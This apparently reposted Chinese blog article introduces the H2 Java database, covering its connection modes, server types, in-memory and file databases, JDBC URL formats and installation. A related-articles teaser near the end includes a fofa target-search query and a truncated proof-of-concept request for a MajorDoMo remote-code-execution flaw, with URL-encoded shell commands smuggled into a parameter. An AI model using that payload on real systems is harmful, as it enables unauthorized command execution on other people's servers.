H2 数据库介绍(1)--简介

news/2024/9/27 15:29:55

H2 是一个使用 Java 编写的数据库,支持内存、文件等数据存储模式,可用于测试及 Demo 应用;本文主要介绍其基本概念及安装。

1、H2 特点

  • 速度很快、开源、JDBC API
  • 嵌入式和服务器模式;基于磁盘或内存的数据库
  • 事务支持,多版本并发
  • 基于浏览器的控制台应用程序
  • 加密数据库
  • 全文搜索
  • 纯 Java,并且体积小:约 2.5 MB 的 jar 文件
  • ODBC 驱动程序

2、连接模式

H2 支持以下连接模式:
嵌入式模式(使用 JDBC 进行本地连接)
服务器模式(通过 TCP/IP 上的 JDBC 或 ODBC 进行远程连接)
混合模式(同时进行本地和远程连接)

2.1、嵌入式模式(Embedded Mode)

在嵌入式模式中,应用程序使用 JDBC 从同一个 JVM 中打开数据库。这是最快速、最简单的连接模式。缺点是数据库一次只能在一个虚拟机中打开。与所有模式一样,持久化数据库和内存数据库都受支持。并发打开数据库的数量或打开连接的数量没有限制。
在嵌入式模式中,SQL 命令的 I/O 操作可以由应用程序的线程执行。应用程序不应中断这些线程,否则可能导致数据库损坏,因为 JVM 在线程中断时会关闭 I/O 句柄。可以考虑其他方法来控制应用程序的执行。当中断可能发生时,异步文件系统可以作为一种解决方法,但不能保证完全安全。建议改用客户端-服务器模型,客户端端可以中断自己的线程。

2.2、服务器模式(Server Mode)

当使用服务器模式(有时称为远程模式或客户端/服务器模式)时,应用程序使用 JDBC 或 ODBC API 远程打开数据库。需要在同一或另一个虚拟机中启动服务器,或者在另一台计算机上启动服务器。通过连接到该服务器,许多应用程序可以同时连接到同一个数据库。在内部,服务器进程以嵌入式模式打开数据库。
服务器模式比嵌入式模式慢,因为所有数据都通过 TCP/IP 传输。与所有模式一样,支持持久化数据库和内存数据库。每个服务器并发打开的数据库数量或打开连接的数量没有限制。

2.3、混合模式(Mixed Mode)

混合模式是嵌入式模式和服务器模式的组合。在一个应用程序以嵌入式模式连接数据库,同时启动数据库服务,以便其他应用程序(在不同进程(虚拟机)中运行)可以同时访问相同的数据。本地连接的速度与仅使用嵌入式模式的数据库一样快,而远程连接稍慢一些。
数据库可以从应用程序内部(使用数据库 API)启动和停止,也可以自动启动(自动混合模式)。在使用自动混合模式时,所有想要连接到数据库的客户端(无论是本地还是远程连接)都可以使用完全相同的 URL 进行连接。

3、H2 服务器类型

H2 支持三种服务器:Web 服务器(用于 H2 控制台)、TCP 服务器(用于客户端/服务器连接)和 PG 服务器(用于 PostgreSQL 客户端);只有 Web 服务器支持浏览器连接。这些服务器可以通过命令行和 API 的方式启动。启动服务器并不会打开数据库——数据库会在客户端连接时打开。

4、H2 数据库类型

H2 支持支持数据库和内存数据库。

4.1、持久数据库

持久数据库数据保存在文件中,嵌入式的连接 URL 为:"jdbc:h2:[file:][<path>]<databaseName>",远程连接的 URL 为:"jdbc:h2:tcp://<server>[:<port>]/[file:][<path>]<databaseName>"。前缀file:是可选的;如果未使用路径或只使用相对路径,则当前工作目录将被用作起点。路径和数据库名称的区分大小写取决于操作系统,但建议仅使用小写字母。数据库名称必须至少为三个字符长(File.createTempFile的限制)。

4.2、内存数据库

对于某些用例(例如:快速原型设计、测试、高性能操作、只读数据库),可能不需要持久化数据。H2 支持内存模式,其中数据不会被持久化。

某些情况下,只需要一个到内存数据库的连接。这意味着要打开的数据库是私有的。在这种情况下,数据库 URL 是 "jdbc:h2:mem:",在同一虚拟机中打开两个连接意味着打开两个不同的(私有)数据库。
有时需要多个连接到同一个内存数据库;在这种情况下,数据库 URL 必须包含一个名称。例如:"jdbc:h2:mem:db1",使用此 URL 访问相同的数据库仅在同一虚拟机中有效。
要从另一个进程或另一台计算机访问内存数据库,需要在创建内存数据库的同一进程中启动一个 TCP 服务器。然后,其他进程通过 TCP/IP 或 TLS 访问数据库,使用类似于 "jdbc:h2:tcp://localhost/mem:db1" 的 URL。
默认情况下,关闭数据库的最后一个连接会关闭数据库。对于内存数据库,这意味着内容会丢失。要保持数据库处于打开状态,请在 URL 中添加”;DB_CLOSE_DELAY=-1“,如:"jdbc:h2:mem:test;DB_CLOSE_DELAY=-1";这样可在虚拟机存活期间保持内存数据库的内容。

5、数据库连接 URL

H2 数据库支持多种连接模式和连接设置,可以通过不同的数据库URL实现。URL中的设置不区分大小写。

连接方式  连接 URL 

嵌入式(本地)连接
[Embedded (local) connection)]

jdbc:h2:[file:][<path>]<databaseName>
jdbc:h2:~/test
jdbc:h2:file:/data/sample
jdbc:h2:file:C:/data/sample (Windows only)

内存模式(私有的)
[In-memory (private)]

 In-memory (private)

内存模式(命名的)
[In-memory (named)]

jdbc:h2:mem:<databaseName>
jdbc:h2:mem:test_mem

服务器模式(远程连接) 使用 TCP/IP
[Server mode (remote connections) using TCP/IP]

jdbc:h2:tcp://<server>[:<port>]/[<path>]<databaseName>
jdbc:h2:tcp://localhost/~/test
jdbc:h2:tcp://dbserv:8084/~/sample
jdbc:h2:tcp://localhost/mem:test

服务器模式(远程连接) 使用 TLS
[Server mode (remote connections) using TLS]

jdbc:h2:ssl://<server>[:<port>]/[<path>]<databaseName>
jdbc:h2:ssl://localhost:8085/~/sample;

使用加密文件
[Using encrypted files]

jdbc:h2:<url>;CIPHER=AES
jdbc:h2:ssl://localhost/~/test;CIPHER=AES
jdbc:h2:file:~/secure;CIPHER=AES

6、安装

6.1、服务器模式

官网(https://h2database.com/html/download.html)下载 H2 安装文件,这里下载平台无关的 Zip 安装文件;下载完成后解压并执行 bin/h2.bat 命令,该命令会启动所有三种服务器: Web 服务器(端口 8082)、TCP 服务器(端口 9092)、PG 服务器(端口 5435)。启动后会自动弹出 H2 控制台的页面:

6.2、嵌入式或混合模式

引入相关依赖即可:

<dependency><groupId>com.h2database</groupId><artifactId>h2</artifactId><version>2.2.224</version>
</dependency>

 

 

参考:
https://h2database.com/html/main.html

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/30486.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

使用 Playwright 控制浏览器的启动、停止和等待

简介 Playwright 是一个强大的自动化测试工具,它不仅可以模拟用户在浏览器中的行为,还能够灵活控制浏览器的启动、停止和等待操作。在本文中,我们将探讨如何使用 Playwright 进行这些操作。 启动停止浏览器 我们之前是使用with方法来控制浏览器启动和停止,现在我们来介绍一…

playwright使用:启动浏览器与多种运行方式

前言 在本文中,我们将介绍如何使用Playwright这一现代化的浏览器自动化工具来启动浏览器,并深入了解其运行方式。Playwright是一个功能强大的工具,可以帮助开发人员自动化测试、网页截图、信息提取等任务。它支持多种浏览器,包括Chrome、Firefox和WebKit。 启动浏览器 上一…

sql学习:终于把sql case语句使用讲明白了,一看就懂

作者 | 幸福it民工 来源 | 今日头条 在数据库查询分析中,经常遇到case条件判断,总结出来供大家参考,下面通过两个实例给大家讲解。 case用途介绍: CASE是多条件分支语句,相比IF…ELSE语句,CASE语句进行分支流程控制可以使代码更加晰,易于理解。CASE语句也根据表达式逻辑值…

MajorDoMo RCE(CNVD-2024-02175)

影响平台 MajorDoMo < 0662e5e 漏洞复现 fofa 搜索语法:app="MajordomoSL" POC: GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7c%7c%20%28%65%63%68%6f%20%27%5b%53%5d%27%3b%20%65%63%68%6f%20%31%32%33%3b%20%65%63%68%6f%20…

SpringBoot3集成WebSocket

WebSocket通过一个TCP连接在客户端和服务器之间建立一个全双工、双向的通信通道,使得客户端和服务器之间的数据交换变得更加简单。标签:WebSocket,Session,Postman。一、简介 WebSocket通过一个TCP连接在客户端和服务器之间建立一个全双工、双向的通信通道,使得客户端和服…

神器!使用Python 轻松识别验证码

前言 在我们进行自动化测试的过程中,免不了要在登录时遇到验证码,很多时候我们都是只能找开发要万能验证码或者暂时关闭验证码这个功能,但是有时候我们必须要验证码是否能够正常生成,所以在这个时候,我们需要做的就是输入验证码,但是验证码这个东西是随机生成的,不是每一…

如何定时打开网站

首先,需要用到的这个工具:度娘网盘 提取码:qwu2 蓝奏云 提取码:2r1z1、打开工具按下Ctrl+3,切换到定时器模块,左侧右键,选择新建2、标题叫百度,等下就让它打开百度,间隔1分钟,每次重复执行1个 3、在建好的右侧,右键,添加4、选择链接,输入百度网址,点击确定 5、…

经典译文:Transformer--Attention Is All You Need

经典译文:Transformer--Attention Is All You Need 来源 https://zhuanlan.zhihu.com/p/689083488本文为Transformer经典论文《Attention Is All You Need》的中文翻译: https://arxiv.org/pdf/1706.03762.pdf注意力满足一切Ashish Vaswani Google Brain avaswani@google.com…